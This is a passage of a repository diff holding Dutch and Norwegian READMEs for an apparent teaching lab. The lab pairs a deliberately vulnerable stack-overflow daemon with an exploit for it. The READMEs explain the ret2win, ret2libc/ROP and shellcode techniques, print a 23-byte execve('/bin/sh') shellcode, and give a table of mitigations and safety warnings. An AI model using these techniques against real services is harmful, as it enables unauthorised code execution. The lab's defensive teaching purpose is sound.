Voor deze build zijn de getallen: `buf` is 64 bytes, de opgeslagen `rbp` is 8,
dus het retouradres ligt op offset **88** vanaf het begin van `buf`. `fooc`
hardcoded dat niet — het disassembleert `food` en vindt `lea -0x50(%rbp)`
vóór `call read@plt`, zodat het blijft werken als je `FOOD_BUFSZ` verandert.
> gcc vertelt je dit al. `food` bouwen print:
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. Onderdruk die waarschuwing nooit in
> echte code. Het is gratis beveiliging.
---
## De drie technieken
`fooc -t <technique>`. Ze staan in de volgorde waarin een echte aanvaller er
doorheen zou werken, omdat elke techniek nodig heeft wat de vorige je leerde.
### 1. `ret2win` — bestuur de instructiepointer
```
[ 88 bytes rommel ][ het adres van food's win() ]
^ saved rbp
^ wordt RIP
```
`win()` is een functie in het doelprogramma die `/bin/sh` exec't. Het
overschrijven van het retouradres met haar adres is het hele exploit.
**Wat het leert:** je hebt volledige controle over de instructiepointer. Het
heeft ook geen leak nodig, want het binaire bestand is gebouwd met `-no-pie`,
dus `win()` staat voor altijd op een vast adres.
**De tegenhanger in de echte wereld** is niet "aanvallen zijn makkelijk",
maar "lever geen ongedocumenteerde backdoors in netwerk-binaries". Zit er een
functie als `win()` in jouw binaire bestand, dan zal een bufferoverloop haar
vinden. Dat is letterlijk de Juniper ScreenOS-backdoor-CVE-klasse.
**Verdediging:** `-fPIE` (of ASLR) randomiseert het laadadres, dus de aanvaller
moet het adres kennen — wat meestal betekent dat ze eerst een lek nodig hebben.
Daarom faalt `ret2win` tegen `food_hardened`.
### 2. `ret2libc` — roep om het even wat aan, bij naam
```
[ rommel ][ pop rdi; ret ][ adres van "/bin/sh" ][ adres van system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
zet rdi de string om te sturen de functie om aan te roepen
```
Bij uitvoering: `ret` poppt `pop rdi; ret` in RIP; dat poppt de
`"/bin/sh"`-pointer in `RDI`; zijn `ret` poppt `system()` in RIP, terwijl `RDI`
de string nog vasthoudt. `system("/bin/sh")` draait.
Gadgets (`pop rdi; ret`) zitten niet in `food` — deze glibc heeft geen
`__libc_csu_init` — dus `fooc` vindt ze door live libc-geheugen te scannen op
het bytepaar `5f c3`. Het lokaliseert libc via `/proc/self/maps`, vindt de
offsets van `system` en `"/bin/sh"` met `dlsym()` en berekent de base uit het
lek dat `food` prijsgeeft. Niets is hardcoded, dus het overleeft een
libc-update.
**Wat het leert:** zodra je RIP kunt controleren, kun je *bestaande*
instructies aan elkaar rijgen. Dat is return-oriented programming, en zo ziet
bijna elk echt exploit eruit, omdat het geen door de aanvaller geleverd
uitvoerbaar geheugen nodig heeft.
**Verdediging:** geen van de compilerflags stopt dit alleen. Het werkt tegen
een PIE-binary, met NX, met canary — zolang de aanvaller een lek heeft. De
verdedigingen zijn "heb de overloop niet" en "lek geen adressen". Zie de tabel
hieronder.
### 3. `shellcode` — voer je eigen machinecode uit
23 bytes, geplaatst aan het begin van de buffer, met `RIP` ernaar wijzend:
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 ruwe bytes
push rdi ; leg de string op de stack
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; we zijn nu een shell
```
Dit is de puurste vorm van de bug: de aanvaller levert de *instructies*, niet
alleen het adres van instructies die al bestaan. Geen libc-offsets nodig, dus
het werkt in principe tegen een statisch gelinkt, volledig gerandomiseerd
doelwit.
`make verify` assembleert `shellcode.S` en diff't het tegen de byte-array die
in `fooc.c` is ingebed, zodat de twee niet uiteen kunnen drijven.
**Verdediging:** **NX** (ook wel W^X, "no execute" genoemd). De stack als
niet-uitvoerbaar markeren zorgt ervoor dat de hardware weigert er instructies
uit te halen, en de `ret` landt op een pagina die niet kan draaien. Daarom
geeft `make food` `-z execstack`: een normale Linux-stack is `rw-p`, niet
`rwx`, en de techniek sterft met SIGSEGV bij `RIP = het adres van de payload`.
De allerbelangrijkste les van het lab is dat elk van deze bytes alleen werkt
omdat de compiler opdracht kreeg de stack uitvoerbaar te laten. Dat vlaggetje
staat aan voor niemands gewin.
### Ook inbegrepen
| Modus | Wat hij doet |
|---|---|
| `-t leak` | verbindt, print leaks, stuurt niets |
| `-t demo` | stuurt `rip_off + 8` bytes `0x41`, zodat `RIP` `0x4141...` wordt en de daemon sterft. Bewijst de bug zonder enige adreskennis |
| `-t sled` | een ret-sled, bewust bewaard als **fout** voorbeeld. Zonder lek zou je ASLR brute-forcen door de buffer te vullen met het adres van een `ret`. Dat kan hier niet werken: `food` accepteert 512 bytes, dus de sled heeft ~53 slots tegenover ~28 bits entropie. Zo geïmplementeerd dat je het kunt zien falen en kunt bevestigen dat het mechanisme echt "de CPU volgt een keten van rets" is |
---
## De tabel met tegenmaatregelen
Dit is het deel om te onthouden. Elke rij is een echte verdediging, en de
rechterkolom laat zien wat die daadwerkelijk met de gebeurtenisketen doet.
| Tegenmaatregel | Zo activeer je | Wat hij stopt | Wat hij *niet* stopt |
|---|---|---|---|
| **Beperk read** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** De bug bestaat niet, dus niets stroomafwaarts doet ertoe | Niets — dit is de enige volledige fix |
| **Stack-canary** | `-fstack-protector-strong` (gcc-standaard) | De `ret`: de canary wordt aan het einde van de functie gecontroleerd, dus de beschadiging wordt gedetecteerd en het proces aborted vóórdat `RIP` wordt gepopt | Een bug in een functie *zonder* array (niets om te beschermen); een overloop die onder de canary blijft; alles wat niet normaal return't |
| **NX / W^X** | `-z noexecstack` (de standaard) | Shellcode. De eigen instructies van de payload kunnen niet worden opgehaald | ret2win en ret2libc volledig. Die zijn *de reden* dat ROP bestaat |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (beide standaard) | De hardcoded adressen van ret2win. Alles verschuift bij elke run | Alles waar de aanvaller een lek heeft. ASLR verhoogt de prijs van een exploit; het is geen fix. Merk op dat stack, heap en mmap worden gerandomiseerd, maar de *inhoud* van de hoofd-binary niet — dat is wat ROP-ketens gebruiken |
| **Lek niets** | geen `printf("%p")` naar clients; initialiseer vóór je print | Het informatielek dat ASLR van "duur" naar "gratis" verandert | — |
| **Gebruik geen `printf(user_data)`** | `printf("%s", buf)` in plaats van `printf(buf)` | Format-string-bugs: `%x`-stack-reads, `%n`-willekeurige schrijfbewerkingen — een *andere* weg naar RCE | — |
| **Gebruik geen onbetrouwbare paden** | valideer en `openat()` onder een vaste map | Pad-traversal (CWE-22) | — |
| **CET / shadow stack** | `-fcf-protection=full`, kernel- en CPU-ondersteuning | De `ret` zelf: de shadow stack onthoudt het *echte* retouradres en faalt bij een mismatch. Vangt ROP-ketens die hardware-`ret` gebruiken | Aanvallen die nooit `ret`-en (call-oriented, of het doel van een functiepointer overschrijven met een gadget-keten die geen retour nodig heeft) |
| **Veilige talen** | Rust, Go, C# voor nieuwe code | De hele klasse. Bounds-checks worden tijdens de uitvoering afgedwongen, niet vertrouwd bij review | — |
### Zie het zelf
```sh
make run # kwetsbare daemon
make test # alle drie de technieken werken
make test-hardened # dezelfde broncode, tegenmaatregelen aan
```
`test-hardened` bouwt `food_hardened` met `-fstack-protector-strong -fPIE -pie
-z noexecstack`, wisselt hem in, draait alle drie opnieuw en legt daarna de
kwetsbare terug. Je ziet:
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
En in de log van de geharde daemon, de canary die afgaat:
```
*** stack smashing detected ***: terminated
```
Lees dat goed, want het is de belangrijkste regel van het hele lab: **de canary
ving ret2win, niet PIE.** Alle drie de technieken sterven bij de canary, omdat
alle drie door dezelfde `read()` gaan en hetzelfde frame beschadigen. NX stopt
alleen nog de *code* van de shellcode; PIE breekt alleen nog het hardcoded
adres. Zet ze één voor één aan, en je ontdekt dat de meeste enkele
tegenmaatregelen je ergens kwetsbaar achterlaten.
---
## Bestanden
| Bestand | Doel |
|---|---|
| `food.c` | de kwetsbare daemon. 6 genummerde bugs, elk met zijn fix in de commentaar |
| `fooc.c` | het exploit. objdump-gebaseerde offenderkenning, `/proc`-gebaseerde libc-herkenning, 4 payload-bouwers |
| `shellcode.S` | de 23 shellcode-bytes als assembly, zodat ze leesbaar en verifieerbaar zijn. `fooc` draagt ze inline en heeft dit tijdens het draaien niet nodig |
| `Makefile` | bouwt, test en de harde vergelijking |
| `tests/pty_test.c` | drijft `fooc` door een pseudo-terminal en controleert op echte shell-output |
| `tests/sock_test.c` | onafhankelijke verificateur over een rauwe socket, zodat het resultaat niet van `fooc` afhangt |
| `food.log` | de log van de daemon. Jouw bewijs van wat er gebeurde |
---
## Twee bugs in dit lab die de moeite van het begrijpen waard zijn
Dit zijn niet de bugs van het doelprogramma. Het zijn bugs in het exploit en in
zijn test-harness, en beide produceerden overtuigende leugens. Ze zijn
gedocumenteerd in de bron waar ze wonen; hier staan ze omdat de faalpatronen
leerzaam zijn.
### Stack-uitlijning: de crash die geen NULL-dereferentie is
**Symptoom.** De overname landt correct — `gdb` laat je in `win()` zien — en
dan sterft het allereerste wat `win()` doet, een `dprintf()`. De
SIGSEGV-handler rapporteert `RIP` diep in glibc's formatter en een foutadres
van `(nil)`, wat er precies uitziet als een corrupte pointer.
**Oorzaak.** De System V AMD64-ABI vereist 16-byte stack-uitlijning. Een
normale `ret` herstelt `%rsp` precies zoals de bijbehorende `call` het
opsloeg, dus de invariant blijft gratis behouden. Onze kale `ret` doet dat
niet: daarna geldt `%rsp = buf + rip_off`. Hier is `buf` 16-byte uitgelijnd en
is `rip_off` 88, dus de callee krijgt een stack die 8 mod 16 is. glibc is met
SSE2 gecompileerd, en `movaps` **faalt** op een verkeerd uitgelijnde operand.
Op x86 werpt dat `#GP` op, niet `#PF`, dus de kernel heeft geen foutadres en
rapporteert `si_addr = 0`. Die NULL is de hint: een uitlijnfout vermomd als
NULL-dereferentie.
**Fix.** Eén `ret`-gadget *op offset `rip_off`*, dat het echte doelwit 8 bytes
omhoog schuift, omdat elke `ret` precies 8 bij `%rsp` optelt. De volgorde is
kritiek: een eerdere versie plakte de `ret` *achter* het doelwit en produceerde
`[ padding | target | ret ]`, waarbij de afsluitende `ret` nooit wordt bereikt
en de fix stilletjes niets doet. Een verdwaalde `ret` die op een bug lijkt, is
bijna altijd bewust.
### Eén socket, twee lezers: de byte die verdween
**Symptoom.** Shellcode werd gerapporteerd als werkend. Toen werd de
pty-harness strenger gemaakt (`ECHO` uitzetten, zodat de terminal ophield de
eigen commandoregel van de harness naar zichzelf terug te echoën), en de
techniek begon te falen. Dieper ging elke techniek precies één byte van het
begin van elke uitvoer-chunk kwijt: `uid=1000(hanez)` werd geprint als
`id=1000(hanez)`, `PWNED-OK` als `WNED-OK`, `Linux 7.2.7` als `inux 7.2.7`.
**Oorzaak.** `fooc` deed vroeger de socket `dup2()`en naar zijn eigen
stdin/stdout en een *lokale* `/bin/sh` `execv()`en, terwijl een geforkt
relay-kind dezelfde socket ook las om output naar de terminal te verplaatsen.
De kernel kan het niets schelen dat die twee samenwerken. Een streamsocket heeft
**één** lees-cursor, en elke lezer verplaatst hem, dus bytes worden
onvoorspelbaar tussen hen verdeeld. De lokale shell — een interactieve
login-shell — las precies één byte en gooide het weg, elke keer weer.
`strace -f` liet het onmiddellijk zien:
```
read(0, "u", 1) <- de lokale shell, eet een byte op
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- het relay, 1 byte te kort
```
**Fix.** Er is hier helemaal geen shell aan deze kant. Er is precies één shell
in het hele plaatje, en die zit op het slachtoffer, in het gekaapte proces,
met de TCP-verbinding als zijn stdin/stdout. Deze kant verplaatst alleen bytes.
Als je ooit twee consumenten van een stream nodig hebt, heeft die stream één
enkele lezer nodig die hem bewust demultiplext.
**De meta-les.** Het eerste "werkende" resultaat was een fout-positief,
geproduceerd doordat de pty de eigen commandoregel van de harness terug naar
zichzelf echoëde, en de fix voor dat fout-positief is wat de echte bug
onthulde. Tests die niet kunnen falen, zijn erger dan geen tests, omdat ze "ik
weet het niet" veranderen in "het werkt". Een test-harness verdient hetzelfde
wantrouwen als de code die hij test.
---
## Ermee spelen
Dingen die de moeite waard zijn om te proberen, ongeveer in de volgorde waarin
je er het meest van leert:
1. **Verander `FOOD_BUFSZ` naar 128.** Draai `fooc` opnieuw. Het zou nog
steeds moeten werken zonder wijzigingen, omdat het de offset uit de
disassembly leest. Breek het dan met de hand — hardcode 88 — en zie het
crashen. Voeg daarna een tweede array toe tussen `buf` en de opgeslagen
registers, en zie hoe de automatische herkenning het afhandelt.
2. **Voeg `-Wformat-security` toe en kijk wat het format-string-pad doet.**
Stuur `%p %p %p %n` en zie `food` de stack lekken.
3. **Gebruik gdb.** `make debug`, daarna:
```gdb
(gdb) break food.c:393 # de read() die overloopt
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # merk op waar het retouradres ligt
(gdb) c # in een andere terminal: ./fooc -t ret2win
```
De SIGSEGV-handler logt `REG_RIP` en `REG_RSP`, dus `food.log` vertelt je of
de overname geland is, zelfs wanneer het kind sterft vóór je kunt aanhaken.
4. **Verwijder de uitlijnfix** in `fooc.c` en zie de `#GP`-fout met de
`si_addr = 0`-handtekening. Lees dan `/proc/sys/kernel/randomize_va_space`
en denk na over wat ASLR randomiseert en wat niet.
5. **Breek de libc-symbolresolutie** en zie hoe `fooc` zich aanpast. Het hele
punt van de `/proc/self/maps`-benadering is dat geen enkele offset
hardcoded is.
6. **Schrijf een vierde techniek.** Een `ret2csu`-achtige keten als je
`__libc_csu_init` kunt vinden, of een SROP-keten (`sigreturn`-frames laten
je alle registers tegelijk controleren). Beide zijn puur ROP en hebben geen
uitvoerbaar geheugen nodig.
7. **Fix `food.c` goed**, één bug tegelijk, en draai het exploit opnieuw na
elke fix. De volgorde in de tabel bovenaan `food.c` is ongeveer de juiste om
in te denken: beperk eerst de read, want niets anders doet ertoe voordat de
bug weg is.
---
## Opruiming
```sh
make stop # stopt food
make clean # verwijdert bouwproducten; laat food.log met rust
pkill -x sh # alleen als je losse shells hebt van een test die misging
```
Merk op: `pkill -x food` matcht de proces**naam** precies. Gebruik geen
`pkill -f ./food` — dat patroon matcht ook de shell waarin je het typt en doodt
je eigen sessie. Dat is geen hypothese; het gebeurde terwijl dit lab werd
gebouwd.

415
README.NO.md Normal file
View file

@ -0,0 +1,415 @@
# food / fooc — et stack-bufferoverløp, fra begge sider
Et C99-sikkerhetslaboratorium i to halvdeler:
- **`food.c`** — en bevisst sårbar TCP-daemon. Den har et ekte,
lærebokaktig stack-bufferoverløp (CWE-120), og noen flere feil i tillegg.
- **`fooc.c`** — et exploit for det. Det beregner overflow-offsetet ved å
disassemblere målprogrammet under kjøring, leser adresse-leaks fra daemonen,
og får en shell på "offeret" ved å overskrive en lagret returadresse.
Poenget er ikke shellen. Poenget er at du kan følge med fra ende til annen
hvordan en minnesikkerhetsfeil blir til vilkårlig kodeutførelse — og deretter
se nøyaktig hvilke mottiltak som stopper hvert trinn i den kjeden. Hver linje i
begge programmene er kommentert, fordi mekanismen er leksjonen.
```
terminalen din
|
./fooc (exploit)
|
TCP 127.0.0.1:2342
|
./food (sårbar daemon)
|
fork() -> vulnerable_handler() -> overflow -> ret -> koden din
```
---
## ⚠️ Les dette først
**`food` er en bevisst ødelagt nettverkstjeneste. Den binder bare til
`127.0.0.1`, og den standarden er bevisst — la den være der.**
- Kjør den **ikke** på en maskin du bryr deg om, eller på noe med data på.
- Bind den **ikke** til `0.0.0.0` eller en ekte nettverksgrensesnitt. Den er
bevisst eksternt utnyttbar.
- Å peke `fooc` mot en vert du ikke eier eller ikke har skriftlig tillatelse
til å teste, er en datainnbruddsforseelse i de fleste jurisdiksjoner — også
etter UK Computer Misuse Act og US Computer Fraud and Abuse Act.
- Den binder til en uprivilegert port (>1024), så du trenger ikke root. Ikke
"forbedre" den ved å legge til capabilities eller kjøre den som
systemtjeneste.
- Hver tilkobling håndteres i et `fork()`et barn, og `food` reaper det, så
krasj hoper seg ikke opp. Hvis du etterpå finner dusinvis av løse
`sh`-prosesser, er `pkill -x sh` oppryddingen.
I tvilstilfeller: Dette laboratoriet er for en virtuell maskin eller en
container, på et nettverk du kontrollerer, på en maskin uten noe du ville
savnet.
---
## Rask start
```sh
make # bygger food, fooc og test-harnessene
make run # starter food på 127.0.0.1:2342, løsrevet i bakgrunnen
make test # kjører alle tre exploit-teknikkene
make stop # stopper daemonen
```
Deretter for hånd:
```sh
./fooc -t leak # se adresse-leaksene food gir fra seg
./fooc -t demo -v # send søppel; se food dø med SIGSEGV
./fooc -t ret2win -i # hopp til en funksjon som allerede finnes -> shell
```
### Krav
| Verktøy | Til hva | Merknader |
|---|---|---|
| `gcc` (eller clang) | bygging | C99. Testet med gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` kaller det under kjøring |
| `nasm` | `make verify` | bare for å kryssjekke shellcoden; hoppes over hvis det mangler |
| `gdb` | `make debug` | valgfritt |
| Linux, x86-64 | begge | payload og gadget-jakt er arkitekturavhengige |
`fooc` trenger også `-ldl` for `dlsym()`; Makefile-et ordner det.
---
## Feilen
Én linje i `food.c` er hele angrepsflaten:
```c
char buf[FOOD_BUFSZ]; /* 64 bytes */
n = read(fd, buf, FOOD_READMAX); /* opptil 512 bytes fra nettverket */
```
64 bytes destinasjon, 512 bytes akseptert. Angriperen overskriver 448 bytes
forbi slutten av bufferen, og fordi stacken vokser nedover, betyr "forbi
slutten" "inn i rammen over" — og det er akkurat der den lagrede
rammepekeren og den **lagrede returadressen** ligger.
I en kompilert x86-64-funksjon ved `-O0`:
```
høye adresser
+------------------------+ rbp + 16 : kallers lokale
| ... |
+------------------------+ rbp + 8 : LAGRET RETURADRESSE <-- blir til RIP
| saved rbp (8 bytes) |
+------------------------+ rbp : vår rammepeker
| line[128] |
| buf[64] | <- rsp: det read() fyller
+------------------------+
lave adresser
```
Når funksjonen returnerer, popper `leave; ret` de 8 bytene inn i `RIP`, og
CPU-en hopper dit angriperen har valgt. Alt annet i dette laboratoriet er
aritmetikk om hvorhen man skal peke.
For denne builden er tallene: `buf` er 64 bytes, det lagrede `rbp` er 8, så
returadressen ligger på offset **88** fra starten av `buf`. `fooc` hardkoder
ikke det — det disassemblerer `food` og finner `lea -0x50(%rbp)` foran
`call read@plt`, så det fortsatt virker hvis du endrer `FOOD_BUFSZ`.
> gcc forteller deg allerede om dette. Å bygge `food` skriver ut:
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. Aldri undertrykk den advarselen i ekte
> kode. Den er gratis sikkerhet.
---
## De tre teknikkene
`fooc -t <technique>`. De står i den rekkefølgen en ekte angriper ville
arbeidet seg gjennom dem, fordi hver enkelt trenger det den forrige lærte deg.
### 1. `ret2win` — kontroller instruksjonspekeren
```
[ 88 bytes søppel ][ adressen til food's win() ]
^ saved rbp
^ blir til RIP
```
`win()` er en funksjon i målprogrammet som exec'er `/bin/sh`. Å overskrive
returadressen med dens adresse er hele exploitet.
**Hva det lærer:** du har vilkårlig kontroll over instruksjonspekeren. Det
trenger heller ikke noe leak, fordi binærfilen er bygget `-no-pie`, så `win()`
sitter på en fast adresse for alltid.
**Den virkelige verdens ekvivalent** er ikke "angrep er enkle", men "ikke
send ut udokumenterte bakdører i nettverks-binærfiler". Hvis en funksjon som
`win()` finnes i binærfilen din, vil et bufferoverløp finne den. Det er
bokstavelig talt Juniper ScreenOS-bakdør-CVE-klassen.
**Forsvar:** `-fPIE` (eller ASLR) randomiserer lasteadressen, så angriperen må
kjenne adressen — noe som vanligvis betyr at de først trenger et leak. Derfor
feiler `ret2win` mot `food_hardened`.
### 2. `ret2libc` — kall hva som helst, ved navn
```
[ søppel ][ pop rdi; ret ][ adressen til "/bin/sh" ][ adressen til system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
setter rdi strengen å sende funksjonen å kalle
```
Ved utførelse: `ret` popper `pop rdi; ret` inn i RIP; det popper
`"/bin/sh"`-pekeren inn i `RDI`; dets `ret` popper `system()` inn i RIP, mens
`RDI` fortsatt holder strengen. `system("/bin/sh")` kjører.
Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc-en har ikke noe
`__libc_csu_init` — så `fooc` finner dem ved å skanne live libc-minne etter
byte-paret `5f c3`. Den lokaliserer libc via `/proc/self/maps`, finner
offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen fra
leaket `food` publiserer. Ingenting er hardkodet, så det overlever en
libc-oppdatering.
**Hva det lærer:** når du først kan kontrollere `RIP`, kan du kjede sammen
*eksisterende* instruksjoner. Dette er return-oriented programming, og det er
slik nesten alle ekte exploits ser ut, fordi det ikke krever
angriperlevert kjørbart minne.
**Forsvar:** ingen av kompilator-flagene stopper dette alene. Det virker mot
en PIE-binærfil, med NX, med canary — så lenge angriperen har et leak.
Forsvarene er "ikke ha overløpet" og "ikke lek adresser." Se tabellen nedenfor.
### 3. `shellcode` — kjør din egen maskinkode
23 bytes, plassert ved starten av bufferen, med `RIP` pekende på dem:
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes
push rdi ; legg strengen på stacken
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; vi er nå en shell
```
Dette er den reneste formen for feilen: angriperen leverer *instruksjonene*,
ikke bare adressen til instruksjoner som allerede finnes. Ingen libc-offsets
nødvendig, så det virker i prinsippet mot et statisk linket, fullt
randomisert mål.
`make verify` assemblerer `shellcode.S` og diff'er det mot byte-arrayet
innebygd i `fooc.c`, så de to ikke kan drive fra hverandre.
**Forsvar:** **NX** (også kalt W^X, "no execute"). Å markere stacken som
ikke-kjørbar gjør at maskinvaren nekter å hente instruksjoner fra den, og
`ret`-et lander på en side som ikke kan kjøres. Det er derfor `make food`
sender `-z execstack`: en vanlig Linux-stack er `rw-p`, ikke `rwx`, og
teknikken dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolutt
viktigste leksjonen i laboratoriet er at hver eneste av disse bytene bare
virker fordi kompilatoren fikk beskjed om å la stacken være kjørbar. Det
flagget er på til gagn for ingen.
### Også inkludert
| Modus | Hva den gjør |
|---|---|
| `-t leak` | kobler til, skriver ut leaks, sender ingenting |
| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` blir `0x4141...` og daemonen dør. Beviser feilen helt uten adressekunnskap |
| `-t sled` | et ret-sled, bevisst beholdt som et **feilende** eksempel. Uten et leak ville du brute-force ASLR ved å fylle bufferen med adressen til et `ret`. Det kan ikke virke her: `food` aksepterer 512 bytes, så sleden har ~53 slots mot ~28 bits entropi. Implementert så du kan se det feile og bekrefte at mekanismen virkelig er "CPU-en følger en kjede av rets" |
---
## Mottiltak-tabellen
Dette er delen å huske. Hver rad er et ekte forsvar, og høyre kolonne viser hva
den faktisk gjør med hendelseskjeden.
| Mottiltak | Slik aktiverer du | Hva den stopper | Hva den *ikke* stopper |
|---|---|---|---|
| **Begrens read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Feilen finnes ikke, så ingenting nedstrøms betyr noe | Ingenting — dette er den eneste fullstendige fixen |
| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen sjekkes ved funksjonsavslutningen, så smadringen oppdages og prosessen aborter før `RIP` poppes | En feil i en funksjon *uten* array (ingenting å beskytte); et overløp som holder seg under canaryen; alt som ikke returnerer normalt |
| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruksjoner kan ikke hentes | ret2win og ret2libc fullstendig. Disse er *grunnen* til at ROP finnes |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter seg ved hver kjøring | Alt der angriperen har et leak. ASLR hever prisen på et exploit; det er ikke en fix. Merk at stack, heap og mmap randomiseres, men hoved-binærfilens *innhold* gjør det ikke — det er det ROP-kjeder bruker |
| **Ikke lek** | ingen `printf("%p")` til klienter; initialiser før du skriver ut | Informasjonsleaket som gjør ASLR fra "dyrt" til "gratis" | — |
| **Ikke bruk `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-streng-feil: `%x`-stack-reads, `%n`-vilkårlige skrivninger, som er en *annen* vei til RCE | — |
| **Ikke bruk upålitelige stier** | valider og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — |
| **CET / shadow stack** | `-fcf-protection=full`, kjernens og CPU-ens støtte | `ret`-et selv: shadow stacken husker den *ekte* returadressen og feiler ved mismatch. Fanger ROP-kjeder som bruker maskinvare-`ret` | Angrep som aldri `ret`-er (call-oriented, eller å overskrive en funksjonspekermål med en gadget-kjede som ikke trenger retur) |
| **Sikre språk** | Rust, Go, C# for ny kode | Hele klassen. Bounds-sjekker utføres ved kjøring, ikke håpet på ved review | — |
### Se det selv
```sh
make run # sårbar daemon
make test # alle tre teknikkene virker
make test-hardened # samme kildekode, mottiltak på
```
`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie
-z noexecstack`, bytter den inn, kjører alle tre igjen og legger så den
sårbare tilbake. Du vil se:
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
Og i den hardnede daemonens logg, canaryen som utløses:
```
*** stack smashing detected ***: terminated
```
Les det nøye, for det er den viktigste linjen i hele laboratoriet: **canaryen
fanget ret2win, ikke PIE.** Alle tre teknikkene dør ved canaryen, fordi alle
tre går gjennom det samme `read()` og ødelegger den samme rammen. NX stopper
bare i tillegg shellcodens *kode*; PIE bryter bare i tillegg den hardkodede
adressen. Slå dem på enkeltvis, og du vil oppdage at de fleste enkeltstående
mottiltak etterlater deg utsatt for noe.
---
## Filer
| Fil | Formål |
|---|---|
| `food.c` | den sårbare daemonen. 6 nummererte feil, hver med sin fix i kommentaren |
| `fooc.c` | exploitet. objdump-basert offset-oppdagelse, `/proc`-basert libc-oppdagelse, 4 payload-byggere |
| `shellcode.S` | de 23 shellcode-bytende som assembly, så de kan leses og verifiseres. `fooc` bærer dem inline og trenger ikke dette ved kjøring |
| `Makefile` | bygger, tester og den hardnede sammenligningen |
| `tests/pty_test.c` | driver `fooc` gjennom et pseudo-terminal og sjekker for ekte shell-output |
| `tests/sock_test.c` | uavhengig verifikator over en rå socket, så resultatet ikke avhenger av `fooc` |
| `food.log` | daemonens logg. Beviset ditt på hva som skjedde |
---
## To feil i dette laboratoriet som er verdt å forstå
Dette er ikke målprogrammets feil. Det er feil i exploitet og i dets
test-harness, og begge produserte overbevisende løgner. De er dokumentert i
kilden der de bor; her står de fordi sviktmønstrene er lærerike.
### Stack-justering: krasjet som ikke er en NULL-dereferanse
**Symptom.** Kapringen lander korrekt — `gdb` viser deg i `win()` — og så dør
det aller første `win()` gjør, en `dprintf()`. `SIGSEGV`-handleren rapporterer
`RIP` dypt inne i glibcs formatter og en feiladresse på `(nil)`, noe som ser
nøyaktig ut som en korrupt peker.
**Årsak.** System V AMD64-ABI-en krever 16-byte stack-justering. Et normalt
`ret` gjenoppretter `%rsp` til nøyaktig det det matchende `call` lagret, så
invarianten bevares gratis. Vårt nakne `ret` gjør ikke det: etter det gjelder
`%rsp = buf + rip_off`. Her er `buf` 16-byte justert og `rip_off` er 88, så
callee-en får en stack som er 8 mod 16. glibc er kompilert med SSE2, og
`movaps` **feiler** på et feiljustert operand. På x86 reiser det `#GP`, ikke
`#PF`, så kjernen har ingen feiladresse og rapporterer `si_addr = 0`. Det
NULL-et er fingerpeket: en justeringsfeil forkledd som en NULL-dereferanse.
**Fix.** Én `ret`-gadget *ved offset `rip_off`*, som flytter det ekte målet 8
bytes opp, siden hvert `ret` legger nøyaktig 8 til `%rsp`. Rekkefølgen er
kritisk: en tidligere versjon la `ret`-et *etter* målet og produserte
`[ padding | target | ret ]`, der det avsluttende `ret`-et aldri nås og fixen
stille og rolig ikke gjør noe. Et påfallende `ret` som ser ut som en feil, er
nesten alltid bevisst.
### Én socket, to lesere: byten som forsvant
**Symptom.** Shellcode ble rapportert som fungerende. Så ble pty-harnessen
gjort strengere (slå av `ECHO`, så terminalen sluttet å ekkoe harnessens egen
kommandolinje tilbake til seg), og teknikken begynte å feile. Under alt sammen
mistet hver teknikk nøyaktig én byte fra starten av hver utgangs-chunk:
`uid=1000(hanez)` ble skrevet ut som `id=1000(hanez)`, `PWNED-OK` som
`WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`.
**Årsak.** `fooc` pleide å `dup2()`e socketen inn på sitt eget stdin/stdout
og `execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også leste den
samme socketen for å flytte utdata til terminalen. Kjernen bryr seg ikke om at
de to samarbeider. En streamsocket har **én** lese-cursor, og hver leser flytter
den, så bytes deles uforutsigbart mellom dem. Den lokale shellen, som er en
interaktiv login-shell, leste nøyaktig én byte og kastet den — hver eneste
gang. `strace -f` viste det umiddelbart:
```
read(0, "u", 1) <- den lokale shellen, spiser en byte
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relayet, 1 byte for kort
```
**Fix.** Det er ingen shell på denne siden i det hele tatt. Det er nøyaktig én
shell i hele bildet, og den er på offeret, inne i den kaprede prosessen, med
TCP-tilkoblingen som sin stdin/stdout. Denne siden flytter bare bytes. Hvis du
